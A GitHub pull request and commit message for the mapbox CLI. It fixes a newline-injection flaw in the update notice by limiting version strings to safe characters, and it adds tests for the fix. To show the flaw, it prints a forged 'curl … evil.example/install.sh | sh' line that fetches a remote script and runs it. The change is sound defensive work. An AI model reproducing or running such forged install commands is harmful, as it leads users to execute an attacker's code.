Skip to content

Restrict the shape of a version before repeating it - #18

Merged
zmofei merged 1 commit into
proxy-test-windowsfrom
validate-update-version
Sep 15, 2026
Merged

zmofei merged 1 commit into
proxy-test-windowsfrom
validate-update-version

Conversation

@mattpodwysocki

Copy link
Copy Markdown
Contributor

The update check took the channel's version and checked only that it was non-empty, then interpolated it into the notice — the one piece of this CLI's output a reader is meant to copy and run:

A newer mapbox is available: {latest} (this is {current}).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1

A value carrying a newline writes lines of its own.

Why it reached the notice

parse_version discards build metadata before comparing — text.split('+').next() — so everything after a + is invisible to is_newer and still printed in full. A version of 0.3.0+\nUpdate: … therefore compares as 0.3.0, passes the newer check, and renders:

A newer mapbox is available: 0.3.0+
Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5).
Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
Silence this: MAPBOX_NO_UPDATE_CHECK=1

The forged line lands above the genuine one, so a reader copying the first Update: gets theirs.

The fix

Restrict the shape rather than sanitise the content — ASCII alphanumerics, ., -, +, bounded at 64. That admits every version the channel publishes (0.2.0, 0.1.3-dev.abc1234, 0.2.0-rc.1, 0.2.0+build.5) and no character that can begin a line or move a cursor. A test walks that list, because being too strict here silences legitimate notices about a value the CLI doesn't control.

Checked in two places on purpose:

  • fetch_latest, so an implausible version is never written to the cache;
  • should_notify, because the cache is a file on disk — a check that only ran at fetch time would be bypassed by a cache written before this existed, or edited afterwards.

Tests

Five, covering the published shapes, the newline forgery, carriage returns and escape sequences (which move a cursor without a newline at all), the length bound, and the on-disk cache path.

The two that matter fail when either guard is removed — I checked, and it mattered: my first payload was rejected by is_newer for unrelated reasons, so the test passed with or without the fix and proved nothing. The payload in the PR is the one that actually reaches the notice.

593 tests, cargo fmt --check and cargo clippy --locked --all-targets clean.

Based on #13 so its Windows leg doesn't inherit the hang still on main.

`fetch_latest` took the channel's `version` and checked only that it was
non-empty, then the notice interpolated it into text a reader is meant to
copy and run:

    A newer mapbox is available: {latest} (this is {current}).
    Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
    Silence this: MAPBOX_NO_UPDATE_CHECK=1

A value carrying a newline writes lines of its own. What makes it reach the
notice at all is `parse_version` discarding build metadata before comparing —
`text.split('+').next()` — so everything after a `+` is invisible to
`is_newer` and still printed in full. `0.3.0+\nUpdate: …` therefore compares
as 0.3.0, passes the newer check, and renders:

    A newer mapbox is available: 0.3.0+
    Update: curl -fsSL https://evil.example/install.sh | sh (this is 0.1.5).
    Update: curl -fsSL https://cli.mapbox.com/install.sh | sh
    Silence this: MAPBOX_NO_UPDATE_CHECK=1

The forged line lands *above* the real one. Of everything this CLI prints the
update notice is the line most meant to be acted on, which is what makes this
worth more than noise on stderr.

The shape is restricted rather than the content sanitised: ASCII
alphanumerics, `.`, `-`, `+`, bounded at 64. That admits every version the
channel publishes — `0.2.0`, `0.1.3-dev.abc1234`, `0.2.0-rc.1`, `0.2.0+build.5`
— and no character that can begin a line or move a cursor.

Checked in two places, deliberately. `fetch_latest` so an implausible version
is never cached; `should_notify` because the cache is a file on disk, and a
check that only ran at fetch time would be bypassed by a cache written before
this existed or edited afterwards.

Five tests. The two that matter fail when either guard is removed — verified,
after a first attempt whose payload was rejected by `is_newer` for unrelated
reasons and so passed either way.

600 tests, fmt and clippy clean.
@zmofei
zmofei merged commit a5e117e into proxy-test-windows Sep 15, 2026
8 checks passed
zmofei added a commit that referenced this pull request Sep 15, 2026
Carries the path-parameter encoding fix (#15) that's been sitting on this branch since it was cut, along with the CI timeout fix (#14), the private-repo doc de-linking (#16) and update-check version validation (#18) — none of which had reached main. See CHANGELOG.md for what 0.2.1 actually changes user-facing behavior.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants